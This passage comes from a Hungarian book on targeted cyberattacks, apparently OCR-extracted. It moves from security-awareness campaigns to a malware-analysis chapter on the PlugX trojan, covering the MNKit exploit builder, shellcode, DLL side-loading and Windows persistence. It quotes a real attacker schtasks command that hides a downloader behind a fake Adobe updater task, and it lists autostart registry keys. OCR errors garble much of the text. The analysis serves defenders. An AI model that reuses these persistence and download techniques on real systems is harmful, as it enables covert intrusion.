modulbdl allo elektronikus kurzust, megszakithatja és tetszéleges idopontban folytathatja a tanulést,
valamint az ismeretek elsajatitasa kozben és/vagy végén visszamérd kérdésekkel is tesztelheti tuda-
sat, interaktiv feladatokat oldhat meg.

Hatranya azonban, hogy a tapasztalatok alapjan sok munkavallalé el sem olvassa a tananyagot,
hanem atlépve azt rogton a vizsga-feladatsorhoz lapoz, hogy ezaltal a raforditando6 1d6 téredéke alatt
teljesitse a képzést. Szintén a hatranyok koz¢ sorolhatd, hogy kevés lehetdség van a visszakérdezésre,
konzulticiodra.

Az altalanos e-learning alapu biztonsagtudatossagi oktatds témakorei megegyezhetnek az altala-
nos tantermi oktatas tematikajaval, modulbontas is eszerint lehetséges.

4.2.2. Figyelem fenntartisa

Az iddszakos oktatasok, ismeretterjesztd képzések mellett nagyon fontos, hogy a munkavallalok fo-
lyamatosan, illetve rendszeresen, de mas, nem képzési jelleggel is talalkozzanak a fontosabb bizton-
sagi eldirasokkal, biztonsagtudatossagot néveld elemekkel. A kiilonb6zé oktatdsokon szerzett isme-
retek akkor keriilnek elmélyitésre, illetve a biztonsdgtudatossdg folyamatosan szinten tartdsra, ha a
munkavallalok rendszeresen emlékeztetve vannak a tanultakra, a figyelem nem lankad a képzések
kozotti idészakban sem.

Folyamatos figyelemfenntartasra két modon van lehetdség: biztonsdgtudatossagi kampany szerve-
zéseével, vagy biztonsagtudatossagi program inditasaval.

4.2.2.1. Biztonsagtudatossagi kampany

A biztonsdgtudatossdgi kampany olyan biztonsagtudatossagi figyelemfelkeltd eszkdz, mely iddsza-
kosan, kampanyszertien (példaul ,,biztonsagtudatossagi honap”) hivja fel a figyelmet altalanos vagy
célzott biztonsagtudatossagi elemekre. A felhasznalok bevonasa a kampanyba aktivan (példaul jaté-
kokon valo részvétel) vagy passzivan (példaul plakatok) egyarant megtorténhet.'”’

127" Leitold, Oroszi, 2014.
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A felhasznalok emlékeztetése a fobb biztonsagtudatossagi ismeretekre, oktatasokon elhangzottak
felelevenitése, tudas naprakészen tartasa és elmélyitése mellett cél lehet a céliranyos figyelemfelkel-
tés adott témaban is.

A biztonsagtudatossagi kampany soran alkalmazott eszkozoket a késdbbiekben kiilon mutatja be,
ezek koziil barmelyik bevalogathatd a megvaldsitashoz, de célszerti elsdsorban a felhasznalok aktiv
kozremitkddeését igényld elemek preferalasa, hiszen a tapasztalatok alapjan azokat értékelik elsdsor-
ban a felhasznalok.

4.2.2.2. Biztonsagtudatossagi program

A biztonsagtudatossagi program olyan biztonsagtudatossagi figyelemfelkelté eszkdz, mely folyama-
tosan, rendszeresen hivja fel a figyelmet legtobbszor altalanos, de esetenként célzott biztonsagtuda-
tossagi elemekre, tehét az el6zdvel ellentétben egy egész éven ativeld cselekménysorozatrél van szo,
tekinthetd akar egész évre lebontott kampanysorozatnak is. Jellemzdje, hogy altalaban jobban torek-
szik a felhasznalok bevonasara, aktiv kozremiikodésére, mint az elézdéekben bemutatott kampany.

A biztonsagtudatossagi kampany és program fobb kiilonbségeit az alabbi abra szemlélteti:

Jellemzo Kampany Program
Y Rendszeres, altalaban két képzés kozotti, de . et An

1d6zités 1 SR 1 s Folyamatos, egész évet ativeld programsorozat

akar képzésekkel egy idében is megvalosithato
Iddtartam hetek/honapok, de a fél évet nem haladja meg Fél-egy év
Felhasznaloi

o Ko M

aktivitas 0zepes agas

Tematika Inkabb specializalt, kiemelt biztonsag- Inkabb altalanos, minden biztonsagtudatossagi ele-

tudatossagi elemeket tartalmazo met tartalmazod, de a kiemelések nincsenek kizarva

16. abra: Biztonsdagtudatossagi kampany és program ésszehasonlitasa
4.2.2.3. Program/kampany elemek

A biztonsagtudatossagi kampanyok, programok nagyjabol ugyanazokkal az elemekkel valdsithatéak
meg, ezeket az aldbbiakban mutatom be roviden.
» Poszterek, plakatok elhelyezése a forgalmasabb kozdsségi terekben (folyoso, lift, mosdo,
konyha stb.).
» Asztali t4jékoztatok specidlisan az adott helységre vonatkozo6 szabalyokkal (példaul targyalo-
ban, projekt/kreativ szobakban).
+ Képernydkiméldk fontosabb biztonsagtudatossagi lizenetekkel.
» Ajandék hasznalati targyak (példaul bogre, egérpad, jegyzettomb, naptar) hasznos ilizenetekkel.
+ Képregények gyakorlati példakkal.
» Hirlevelek aktualitdsokkal (példaul uj, felhasznaldkat érintd tdmadési forma megjelenése)
» Felhasznalo6i palyazatok (példaul fotopalyazat biztonsagtudatossag témakorben), nyeremény-
jatékok (példaul keresztrejtvény, kvizjaték)
* Biztonsagtudatossagi szabaduldszoba
* Online jatékok (barmelyik jaték online verzidja lehet)

A lehetdségek kozott ahogyan lathatd, vannak passziv informacios eszkdzok, illetve a felhasznalo-
kat aktivan bevono6 tudatosito lehetoségek is. Az egyes mddszerek kozotti valasztas a szervezeti saja-
tossagokon mulik, mindenképpen célszerii azonban figyelembe venni a korabbi biztonsadgtudatossagi
felmérések eredményeit, valamint a megel6z6 biztonsagtudatossagi képzések anyagat, és izgalmas,
érdeklodést felkeltd elemekkel gazdagitani a kapcsolodd kampanyt vagy programot.
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V. SZAPPANOS GABOR: KARTEKONY KODOK
HASZNALATA A CELZOTT TAMADASOK VEGREHAJTASABAN

1. Bevezetés

A célzott tdmadasokban alkalmazott eljarasok 1ényegében ugyanazok, mint az alaposabban kivitele-
zett szamitogépes blindzés (cybercrime) esetében (behatolas, terjedés, adatgyiijtés, adatkijuttatas),
ezért nem meglepd modon hasonld funkcionalitast kodokat is szoktak alkalmazni. A konkrétan hasz-
nalt szoftverek esetében talalhato, de amig a kiberblin6z6 csoportok elsésorban a kereskedelmi forga-
lomban elérhetd programokat veszik igénybe minimalis sajat fejlesztéssel, a célzott timadasok soran
joval nagyobb a sajat fejlesztésii kodok szerepe.

2. Célzott tamadast végrehajto kartékony kodok hatasmechanizmusa

Egy tipikus tdmadés soran tobb 1épcsOben zajlik a célpont szamitogépére vald behatolas, amelyek
koziil a legfontosabbak az alabbiak:
» Afertdzés elso 1épcsdje (initial vector) soran valamilyen méddon a célponthoz juttatjak a fer-
t0zési folyamatot elinditd6 komponenst
* A célponthoz juttatott kod futtatdsat meg kell oldani vagy automatikusan (exploit hasznalata-
val) vagy social engineering triikkel
» Exploit esetében a biztonsagi hiba kivaltja a telepité kod (shellkéd) lefutasat
» Atelepitd kod l1étrehozza és lefuttatja a kartékony kodot (payload)
» A feltelepiilt kartékony kéd megoldja, hogy a rendszer Gjrainditdsa utan is miikddoképes ma-
radjon (persistence)

A célzott tamadasok célba juttatasara, a fert6zés elsd 1épcsdjeként tobbféle modszer 1étezik. A
leggyakoribbak ezek koziil az alabbiak:

* Emailes terjesztés: ennek soran a kartékony tartalmat elektronikus levél mellékleteként kiil-
dik el a célpontoknak!'*®

» ,,Watering hole” terjesztés: ennck soran a tdimadok olyan weboldalt tornek fel, és latnak el
kartevd terjesztd tartalommal, amit varhatoan a kiszemelt dldozatok felkeresnek majd

* Szamitogép feltorése: ennek soran a célpontok szamitogépeit kdzvetleniil, biztonsagi hiba-
kon vagy a hozzaférési adatok kitalalasa/megszerzése révén érik el

Ezen modszerek koziil az emailes terjesztést fogjuk részletesebben targyalni, mert ezt alkalmazzak
legintenzivebben.

A fejezet alap példaja a Plugx lesz, ami a célzott tamadésok talan legnépszertibb trdjai programja,
tobb kinai APT csoport is eldszeretettel hasznalja. A fertdzés 1épéseinél és a miikddés részletezésénél
is tipikus Plugx incidenseket vesziink alapul. Amikor mashonnan szarmaz6 mddszereket kell targyal-
ni, kiilén megemlitjiik majd az incidensek forrasat.

128 Stevens Le Blond, 2014.
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2.1. Phishing email

Az egyik Japéanra fokuszalo Plugx terjesztési kampanyban a trojai programot az alabbi abran lathato
email lizenetben juttattak el a kiszemelt célpontoknak.

A megcélzott kor a célzott tamadéasok soran altalaban egy sziik csoport, ami lehetévé teszi, hogy a
levél szovegét erre a célkorre szabjak. Mivel ez a tartalom relevans a cimzetteknek, kevésbé gyana-
kodnak arra, hogy kart okozo tartalom lehet a levélben. A célpontok korlatozott kore lehetévé teszi,
hogy a levelet az anyanyelviikon irjadk meg, ami még inkéabb elaltatja a gyanakvast.

17. abra: Plugx-et terjeszté email iizenet129

Az lizenet tartalma és cimsora személyi adatokra vonatkozé informaciot igér a mellékelt dokumen-
tumban. Az emailben terjesztett célzott timadasok soran a melléklet leggyakrabban valamilyen Mic-
rosoft Office fajl (Word dokumentum, Excel tablazat vagy PowerPoint prezentacid). Ebben a kiilon-
leges esetben is egy dokumentum volt a melléklet, de nem a Microsoft Office valamelyik formatuma,
hanem egy Ichitaro nevii szovegszerkesztdben késziilt dokumentum.

A Windows ¢és Linux platformokra elérhetd Ichitaro a JustSystems altal fejlesztett szoftver, ami
féleg Japanban népszerli. Ott a Microsoft Word utan ez a masodik legnépszeriibb szovegszerkeszto.
Mivel a kampany célpontjai (amint az a levél cimzettjeinek email cimeibdl is latni) japan személyek
voltak, érthetd ennek a szovegszerkesztonek a hasznalata. A valasztas azzal az elénnyel is jar, hogy
a virusvédelmek kevésbé képesek kezelni a Japanon kiviil nemigen hasznalt szoftver egyedi fajlfor-
matumat.

A mellékletben szereplé dokumentum az Ichitaro egyik biztonsagi hibajat hasznalta ki annak ér-
dekében, hogy a kartékony kod a dokumentum megnyitdsakor automatikusan lefusson. Ismét csak
elény a szoftver relativ ritkasaga, kisebb eséllyel ismerik fel az exploitot a védelmek.

129 A fejezetben szerepl6 abrak sajat szerkesztéstiek, kivéve a masképpen jelzett esetekben, ahol jeldlve van a forras.
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2.2. Exploitok

Miutan az el6z6 pontban bemutatott modon a kartékony kodot eljuttattak a célponthoz, a kovetkezd
feladat annak lefuttatasa.

Ennek egyik gyakori mddja valamilyen social engineering triikkk hasznélata, aminek soran kel-
16képpen vonzd (€s a célzott tamadéasok esetében kelloképpen személyre szabott) lizenetet raknak
koré, amit elolvasva a célpont megnyitja és lefuttatja a kartékony tartalmat. Ez esetben a kartékony
tartalom lefuttatasat kiilon kezdeményezni és altalaban ezen feliil még engedélyezni is kell.

Ennél egy kedvezObb mddszer valamilyen biztonsagi hiban alapul6 exploit hasznalata. Ekkor sok-
kal kevesebb interakci6 kell az aldozattol, a hordozé dokumentum megnyitasakor a kartékony tarta-
lom automatikusan aktivalodik.

2.2.1. Oday exploitok

Szamos csoport hajt végre célzott tamadasokat. Ezeknek a csoportoknak az anyagi képességei és a
technikai tudasa széles hatarok k6zott mozog.

A high-end csoportok (feltehetéen a megfeleld orszagok allami szerveitdl jovo tamogatasnak ko-
szonhetden) komoly anyagi eréforrasokkal rendelkeznek, ezért 0-day exploitokat is tudnak vasarol-
ni, illetve olyan programozokat tudnak alkalmazni, akik rendelkeznek az exploitok médositasdhoz
a képességekkel. Ilyen csoportok példaul az Equation csoport'* (feltehetéen NSA hattérrel) vagy a
Duke csoport!®! (feltehetéen orosz kormanyzati hattérrel). Ezek a csoportok rendkiviil sziik korben
terjesztett fertézési kampanyokban hasznaljak az exploitokat, annak érdekében, hogy azok ne sziva-
rogjanak ki, és a védelmek ne tudjanak idében felkésziilni elleniik, ¢s minél tovabb tudjak hasznalni
ezeket a hibakat a tdmadésaikban.

De a csoportok tobbsége nem rendelkezik annyi pénz és tudas felett, hogy friss exploitokhoz hoz-
zajusson, ezeért altalaban csak régebbi exploitokat tudnak hasznalni. Nagyon ritka az, amikor egy exp-
loit még a 0-day fazisban kiszivarog, és hozzaférhetdvé valik egy szélesebb kor szdmara. Ez tortént
a CVE-2014-1761 nevi biztonsagi hiba esetében,'*? amikor egy Virustotal-ra felt6ltott dokumentum
vezetett oda, hogy tobb APT csoport is hozzafért az exploithoz €s hasznalta kampanyaiban még mi-
elott a Microsoft biztonsagi javitasa megjelent volna.

2.2.2. Exploit builderek (TDL Kit, MNKit)

A célzott tdmadasokat hasznald csoportok tobbsége nem rendelkezik olyan tudédssal hdzon beliil,
amivel dokumentum exploitokat megbizhatéan tudnanak gyartani. Ezért eldszeretettel alkalmaznak
masok altal fejlesztett ugynevezett exploit buildereket, amelyek ezt a terhet leveszik a vallukrol.
Ezek a programok egyszerli paraméterezés utan képesek legyartani a biztonsagi hibat kihasznald
dokumentumot.

A célzott timadadsokban hasznalt dokumentumok builderei koziil az MNKit neviit hasznaltak legy-
gyakrabban, ami tobb kinai APT csoport is igénybe vett. Ez a klasszikus CVE-2012-0158 biztonsa-
gi hibat hasznalja ki, de egy rendkiviil ritka Office dokumentum tipust hasznalva, a Mime-HTML
(MHTML) formatumot:

130 Kaspersky GreAT, 2016.
131 Lehtio, 2015.
132 Duquette, 2014.
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18. abra: MINKit altal készitett dokumentum szerkezete

Az Office 2003 altal bevezetett MHTML formatum rendkiviil hasonlit az elektronikus levelezésben
hasznalt MIME formatumra, ahhoz hasonl6 fejléccel kezdddik:

MIME-Version: 1.0
Content-Type: multipart/related; boundary="----= NextPart 01CD27E7.8767FC40”
this document is a Single File Web Page,also known as Web archive file. if you see this

message, your browser or editor does not support, please use Microsoft Internet Explorer;if

—————— = NextPart 01CD27E7.8767FC40
Content-Location: file:///C:/23456789/Docl.htm
Content-Transfer-Encoding: quoted-printable

Content-Type: text/html; charset="us-ascii”

A fejlécet metaadatok kovetik, amik tartalmazzak a dokumentum fontosabb tulajdonsagait, tobbet
kozott a felhasznalo nevét:

<o:DocumentProperties>
<o:Author>Userl123</o:Author>
<o:LastAuthor>User123</o:LastAuthor>

<o:Revision>4</o:Revision>

Erdekesség, hogy barmennyire is egyszerii modositani ezt a mezét a jol atlathatd szoveges doku-
mentumban, a felhasznald név szinte minden esetben valtoztatas nélkiil a Useri23 volt.

A kovetkezo komponens egy beagyazott OLE2 objektum, ami a CVE-2012-0158 biztonsagi hibat
kihasznalva aktivalodik:

—————— = NextPart 01CD27E7.8767FC40

Content-Location: file:///C:/2673C891/Docl.files/ocxstg001.mso

Content-Transfer-Encoding: base64

Content-Type: application/x-mso

OM8R4KGxGUEAAAAAAAAAAAAAAAAAAAAAPGADAPT7 /CQAGAAAAAAAAAAAAAAABAAAAAQAAAAAAAAAAEAAAAGAAAAEA
AAD+////BRAARRARAAD///////// 11/ 111111/ /1171171177117 77777777777/077777/7777771177777/17/
111117

Végiil a hordoz6 dokumentum végén a kodolt payload és egy figyelemeltereld artalmatlan doku-
mentumtartalom talalhato.

Tobb szaz kartékony dokumentumot talaltunk, amit az MNKit-el gyartottak, és célzott timadasok-
hoz hasznaltak fel. Ezek 40 {folotti kartevdcsalad terjesztésében jatszottak szerepet.
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19. abra: MNKit altal terjesztett kartevé csalddok eloszldsa

Leggyakrabban a fejezetiink f6 példajaként kivalasztott Plugx backdoor szerepelt a terjesztési listan,
de a tobbi csalad is mind kinai APT csoportok tevékenységéhez volt kothetd.

2.3. Shellkod

A terjesztési kampanyban hasznalt dokumentum kihasznalta az Ichitaro szovegszerkeszt6 egyik biz-
tonsagi hibajat, aminek kdszonhetden a dokumentum megnyitdsakor a tdimadok le tudnak futtatni
egy elsO koros kodot (shellkod) a szamitogépen. Ez az elsddleges kod egy egyszerli programocska,
aminek az a célja, hogy megtalalja, kikddolja és lefuttassa a Plugx backdoort telepitdjét.

Ezt a telepit6t ugyanaz a dokumentum tartalmazza, ami a biztonsagi hibat kivaltotta, és ahonnan
a shellkdd is lefutott. Az egyetlen probléma, hogy az exploitalas természetébdl adédoan a shellkod
semmilyen kontextussal nem rendelkezik az eldzményekkel kapcsolatban, igy nem 4ll rendelkezésére
az az informacio sem, hogy mi volt a hordoz6 dokumentum. Ezért az els6 feladat az eredeti hordozé
dokumentumot megkeresése a rendszerben. A dokumentumnak léteznie kell a lokalis f4jlrendszerben,
hiszen amikor a beérkezett levél olvasasakor megnyitasra keriil, az ideiglenes konyvtarban egy ma-
solata képzddik, amit azutan a Word megnyit. Ezt az ideiglenes példanyt kell megtalalnia a kodnak.

Ehhez brute force modszerrel végigmegy az 6sszes potencidlis file handle értéken. Az operacios
rendszer az 0sszes éppen hasznalt objektumhoz (registry kulcs, fajl, folyamat, programszal, esemény)
egy egyedi azonositot rendel, ami egy egész szam. A shellkod 0-tol indulva végig probalja az 6sszes
lehetséges egész szamot abban bizva, hogy ezek koziil az egyik a Word altal megnyitott hordozo6 do-
kumentumhoz fog tartozni, ami tartalmazza a kddolt backdoort.
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20. abra: Hordozo dokumentum keresése

A shellkdd a két bajtos ‘MN’ markert keresi meg a nyitott fajlok kozott. Ha valamelyikben megtalalja,
akkor feltételezi, hogy az a hordozé dokumentum, majd tovabb halad a kikodolassal.

21. abra: Kezd6 marker keresése
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A dokumentum végén kodolva eltarolt Windows trojai kezdetét ugyanis a két bajtos ‘MN* marker jelzi:

22. abra: Kodolt tartalom a kezdé marker utan

Az ez utan talalhato bindris adat két f4jlt tartalmaz, a trojait, illetve egy artalmatlan alcdz6 dokumen-
tumot. Mindkét objektum egyszerli egy bajtos XOR algoritmussal van titkositva, ami a trdjai esetében
még egy LZNT tomoritéssel is kombinalva lett.

2.4. Dropper, decoy

A bedgyazott tartalmak megtalalasa is kinyerése utan altaldban az elso 1épés az egyik fajl, az artalmat-
lan 4lcazé dokumentum (decoy) megnyitasa. Ennek a figyelemelterelés a célja: a fertdzést elindito
email lizenet egy dokumentumot igért mellékletként, ezért az a logikus, hogy egy dokumentumot
lasson a megtamadott felhasznalo. Ez egyrészt elaltatja a gyanakvasat, masrészt kozben a hattérben a
trojai feltelepitése zavartalanul megtorténhet, az ezzel esetleg egyiitt jard vizualis jeleket az el6térben
megnyitott dlcazo tartalom eltakarja a képernydn.

Az elterel6 dokumentum tartalma altaldban szinkronban van az emailben szerepld szoveggel; ese-
tiinkben az alabbi tartalom jelenik meg:

Bl AR~ S (BURH—IEAR)

BiR (BROEF) BFS
¥ £ A B
EHEE B
B 5% & DR, FERILE - SHHE

BIHDES, BSREEH @
(BFFHEATHIE FIL, REFORBRUIES)

£iEH0 41 ROBH (HHFHOISKRE NEVEROEH ERIIELOT
TEDEBYBHLIT,
i
1 BFLSHEETIBRNOMREN (ELIBRM

2 L&A1 OBRALUAICBFLSREOEBICRIBEMERT D LT, LZF
PR OPFTEH

3 L1 RU2 OBREAOMERL S ORRICET ASAEICLELETIHERE
BETIHERNHDL FI, LEME ORTHE

4 T EER

()

1 AEOAFSE, BEIRRBAALTOOL,

2 FRMEORERIIOLTHE, WBITERTI L.

2 TEODZFR, ERTIL.

4 FRRFARFFEHOEICHES T DURAENEE C OBEESE | EEN B 28T
2k,

5 EREERHL, WETHLISKAT, BETHIELNTED,

23. abra:A megjelenitett dlcazo dokumentum
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Ezzel parhuzamosan megkezdddik a trgjai feltelepitése. A telepité csomag a mi esetiinkben egy on-
kitomorité RAR archivum volt. Ez olyan Windows program, ami egy csomagban tartalmazza a tro-
jaihoz tartozo fajlokat, €s azt a kodot is, ami futtataskor kipakolja €s lefuttatja ezeket a fajlokat. Az
ilyen archivumok készitésekor meghatarozhato, hogy a kicsomagold kod valamelyik komponenst
automatikusan lefuttassa a kipakolas utan. Esetiinkben az archivumban levd starter.exe nevii f4jl volt
beallitva futtatasra.

24. dbra:Az énkitomorité archivum tartalma

A starter.exe futtatasa elinditja a backdoor telepitési folyamatat. A csomagban 3 f4jl talalhato, ezeket
egy megadott konyvtarba masolja be, a rejtett és rendszer (Hidden, System) attributumokat beallitja
rajuk, emiatt a Windows Explorer alapértelmezett beéllitdsai mellet nem jelennek meg a konyvtarlis-
taban, csak ha kiilon be lett allitva ezeknek a tipusoknak a listazasa.

25. abra: A feltelepitett fajlok

Az archivum kicsomagolasakor automatikusan lefuttatott starter.exe érdekes modon egy artalmatlan
allomany. Még teljesen szabalyos digitalisan alairassal is rendelkezik, hogy a lehetd legartalmatlan-
abbnak tlinjon. Aminthogy az is, hisz a karos tartalom nem benne van, a Kaspersky Antivirus csomag
egyik komponense.

127



CELZOTT KIBERTAMADASOK

26. abra:Digitdlisan aldirt tiszta betolto program

A starter.exe program szerepe az, hogy a mellé csomagolt masodik fajlt, a splash screen.dll-t be-
toltse. Ezt azért teszi meg, mert ez a program a szokdsos Windows fliggvény konyvtarak mellett a
sajat segédkonyvtaraibdl is importal fiiggvényeket. Ez normélisan A Kaspersky programcsomagban
szerepld splash_screen.dll nevil fliggvény konyvtarban lenne, de a Plugx terjesztdi lecserélték ezt a
fajlt a sajat kodjukat tartalmazo, azonos nevii fajlra. A starter.exe futtatdsakor a Windows betoltdje
csak azt nézi, hogy létezik-e a program mellett egy ilyen nevii DLL f4jl, és ha igen, betolti azt, tekintet
nélkiil arra, hogy nem az eredeti programcsomagbol szarmazo fajlrol van sz6. Igy tehat ha megfeleld
néven a tiszta program mellé csomagoljak a sajat DLL f4jljukat, az automatikusan betoltddik, és a
DLL inicializalé kéd lefut. Ezt a futtatdsi modszert DLL side-loading-nak nevezik. Nagy elonye,
hogy ha barmilyen figyelmeztetd lizenet jelenik meg (példaul tlizfal jelez a halozati kommunikacid
miatt), akkor azt a teljesen megbizhatonak latszo starter.exe folyamatnak tulajdonitja, igy a felhasz-
nalo nagy eséllyel engedélyezi.

A splash_screen.dll egy nagyon rovid kodot tartalmaz, ami csak annyit csindl, hogy betdlti a sp-
lash_screen.dll.sp1 fajlt, és lefuttatja azt.

A splash_screen.dll.spl tartalmazza a kodolt Plugx backdoort, és magat a kikodold programot is.
A backdoor betoltodik a memoriaba, és elkezdi a kommunikaciot a vezérlo szerverrel.

Az itt ismertetett modszer gyakran alkalmazott a Plugx (és még szamos mas célzott tamadas)
soran. Ugyanilyen, 3 fajlt tartalmazd O6nkitomorité archivumokat szoktak hasznalni. A tiszta prog-
ram valtozhat, tucatnyi kiilonb6zd, népszerli szoftvergyartotdl szarmazo programot lattunk hasznalni,
amik mellé csomagoljék a betolté DLL-t és a kodolt trojait.

2.5. Persistence

Nem elegendd egyszer futtatni egy kartevét a megtamadott szamitogépen, mivel ez esetben a gép
Ujrainditasakor a trojai aktivitdsa megsziinne. Ezért a timadoknak meg kell oldaniuk, hogy a fert6zés
tulélje az Gjrainditast €s rendszerinditaskor automatikusan végrehajtddjon a kartékony kod.

Ennek rengeteg modszere 1étezik, amelyek koziil csak a leggyakrabban alkalmazottakat ismertet-
jiik ebben a fejezetben, a lista messze nem teljes.
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2.5.1. Autostart konyvtar

A Start mentin keresztiil is elérhetd Startup konyvtarban elhelyezett programok automatikusan elindul-
nak. Ezek a programok a merevlemez egy specialis konyvtaraban tarolodnak, és a szamitdgép jraindi-
tasakor az operacios rendszer lefuttat minden egyes féjlt, ami ezekben a konyvtarakban talalhato.

Alapértelmezés szerint Windows 98 és korabbi rendszerek esetében ez a konyvtar a

C:\windows\start menu\programs\startup

Windows 2000 és az utani rendszerek alatt a

Documents and Settings\{felhasznalo}\start menu\programs\startup

ahol {felhasznalo} az adott felhasznal6hoz rendelt azonosito.

Ennek a kdnyvtarnak a helye a regisztracids adatbazisban tarolodik az alédbbi kulcsok alatt:

[HKEY CURRENT USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
Startup=" C:\Users\{felhasznalo}\AppData\Roaming\Microsoft\Windows\Start Menu\

Programs\Startup"

A kartevok kétféleképpen is kihasznélhatjak ezt a lehetdséget. A leggyakoribb, amikor egyszeriien
bemasoljak magukat a megfeleld autostart konyvtarba. Ennél ritkabban fordult eld az az eset, ami-
kor a kartevo egy véletlenszerlien kivalasztott nevii kdnyvtarat hozott 1étre, oda telepitette fel magat,
majd a regisztracids adatbazisban a fenti kulcs modositasaval atirdnyitotta az autostart konyvtarat a
sajat konyvtarara.

2.5.2. Registry autostart

A Windows rendszerek regisztracios adatbazisaban tobb helyen is be lehet jegyezni a rendszerinditas-
kor automatikus inditasra szdnt programokat. Az alabbi helyek a leggyakrabban hasznaltak:

HKEY LOCAL MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices]
HKEY LOCAL MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce]
HKEY LOCAL MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]

[
[
[
[HKEY LOCAL MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce]

27. abra: Autostart kulcs a registry-ben

A RunOnce bejegyzések csak egyszer, a kovetkez0 rendszerinditaskor hajtédnak végre, ezutan az
operacios rendszer torli a bejegyzést.
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A fenti bejegyzések a szamitogép minden felhasznéaldjara vonatkoznak. Ha csak az éppen aktu-
alisan bejelentkezett felhasznéalora vonatkozdan akarjuk az autostartot megoldani (vagy az aktudlis
felhasznalonak nincs jogosultsaga az dsszesre beallitani), akkor az alabbi helyekre kell bejegyezni:

[HKEY CURRENT USER\Software\Microsoft\Windows\CurrentVersion\Run]

[HKEY CURRENT USER\Software\Microsoft\Windows\CurrentVersion\RunOnce]

Ebben az esetben csak az aktualis felhasznalod bejelentkezésekor fut le a program.

2.5.3. Explorer inditds

Régebbi operacids rendszerek, példaul Windows 95,98 és ME esetében az Explorer.exe a SYSTEM.
INI nevi rendszerfajlban talalhato shell bejegyzés alapjan kertil végrehajtasra. Az Explorer paramé-
terként mas futtatandd programok neveit is megkaphatja. igy példaul a file.exe nevii program lefutta-
tasara az alabbi bejegyzés szolgal:
[boot]
Shell=Explorer.exe file.exe
Ez esetben az torténik, hogy amikor az operacios rendszer betolti az explorer.exe-t (ami az alap
kezeldi feliiletet biztositja, tehat mindig bet6ltddik), az automatikusan le fogja futtatni a file.exe prog-
ramot is.
Windows 2000 ¢és késébbi rendszerek esetében rendszerinditaskor az operacios rendszer beolvassa
a HKEY LOCAL MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
kulcsot, és betolti. Alapértelmezésben ez az Explorer. EXE.
Itt ugyantiigy meg lehet adni végrehajtandd programot paraméterként.

2.5.4. Windows szolgadltatisok
A Windows szolgaltatasok listajat a
[HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services]
kulcs alatt lehet megtalalni. Ezek azok a szolgaltatasokok, amelyeket az operacios rendszer a kii-

16nb6z0 feladatok ellatasa érdekében betdlt. A kartevok egy része ebbe a listdba veszi fel a sajat
komponensét.

28. abra: Szolgaltatasként bejegyzett automatikus indulas
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Ezt a lehetOséget eloszeretettel hasznaljak a Plugx trojai inditasara. Egy masik tipikus Plugx fert6zés-
nél az abran lathatdan a RasTls kulcs alatt keriil bejegyzésre az avp.exe program.

Ennek nagy eldnye, hogy ilyenkor nem kiilon folyamatként indul el a trdjai, hanem az operacids
rendszer egyik alapkomponense, a service host alkalmazas (svchost.exe) tolti be. Emiatt a futé trojai
nem jelenik meg a Task Manager vagy egyéb mas aktiv folyamatokat megjelenitd program listajaban.

2.5.5. Idozitett feladat
Mind a kiberbilinzés, mind a célzott tdmaddsok soran gyakori, hogy a feltelepitett trdjait iddzitett
feladatként allitjak be, igy a Windows Task Scheduler automatikusan lefuttatja. Ez nem rendszerindi-
tashoz kotott, hanem meghatarozott idépontban, meghatarozott ismétlédéssel fut le a trojai.

Példaul a feltehetden a kinai Emissary Panda APT csoporthoz kdthetd PZCHAO kampany soran

(Chili, 2018) a trojait az alabbi paranccsal allitottdk be ismétlddd végrehajtasra:

schtasks /create /tn “Adobe Flash Updaters” /tr “%systemroot%\temp\win32shell.bat down” /sc
daily /mo 2 /st 03:00:00 /ru *“,,

Ez létrehozta az Adobe Flash Updater nevii feladatot, ami minden masodik nap hajnali 3 6rakor
fut le:

29. abra: Idozitett feladatként bejegyzett inditds

A lefuttatand6 feladat a c:\windows\temp\win32shell.bat programot futtatja le, a down paraméter
megadasaval, aminek hatdsara a tdmadas tovabbi komponenseit tolti le a meghatarozott szerverrdl.
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30. abra: Az idozitett feladat részletei

3. Célzott tamadast végrehajto kartékony kodok tipusai

A célzott timadasok sordn a tdmadok rengeteg eszk6z koziil valaszthatnak. Ezek egy része nyilt for-
rasu és szabadon hozzaférhetd, mas eszk6zok kereskedelmi forgalomban vannak €s megvasarolhatok
— akar hivatalos disztribicioban, akar underground forumokon keresztiil. Végiil vannak olyan prog-
ramok, amiket a timadok maguk fejlesztenek a maximalis testreszabhatosag érdekében.

Az, hogy az adott timadok mit valasztanak ezek koziil, azt a feladat és a csoport anyagi lehetd-
ségei dontik el.

3.1. Szabad forrasu eszkozok

Ezeknek a szoftvereknek az eldnyeit és hatranyait az alabbi lista foglalja 6ssze.
Elony:
» konnyen beszerezhetd: az Interneten rovid keresés utan megtalalhat6 és letdlthetd a program
* ingyenes
Hatrany:

* Virusvédelmek jol ismerik: nem csak a tamadok, hanem a viruslaborok is konnyen beszerez-
hetik és tanulméanyozhatjak, emiatt altalaban fel is ismerik a virusvédelmi termékek ezeket a
programokat

* Nincs tdmogatas hozza: a program mellett hasznalati Gtmutatot is lehet talalni az Interneten,
de ha valakinek egyedi problém4ja tamad, nincs garancia arra, hogy segitséget kap

3.1.1. Metasploit

A Metasploit Framework hosszu ideje az offenziv biztonsagi szakértok legfontosabb eréforrasa. Jol
atlathato, rendszerezett keretbe foglalva teszi elérhetdvé a gyakoribb biztonsagi hibakat a legnépsze-
rlibb platformokra. A Metasploit lehetdséget biztosit arra, hogy a szakértdk megismerkedhessenek az
exploitokkal és tesztelhessék sajat rendszereik védelmét.
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Elsédleges felhasznalasi teriilete a penetration testing, de rendszergazdak is elOszeretettel alkal-
mazzéak annak tesztelésére, hogy sériilékeny-e rendszeriik egy adott biztonsagi hibara. Ezen feliil a
szamitogeépes blindzok is igénybe veszik, ha mas lehetdségiik nincs exploitokhoz hozzaférni.

31. abra: Metasploit Framework nyito képernyé

Folyamatosan bovitik az 0j biztonsagi hibakat kihasznalé modulokkal ¢és a kiilonb6z6 payloadok-
kal. A fejezet lezarasanak pillanataban tobb, mint 1700 kiilonb6z6 biztonsagi hibat, és tobb mint 500
kiilonb6z6 payload-ot tartalmazott a szoftver adatbazisa.

32. abra: A valaszthato exploitok listdja
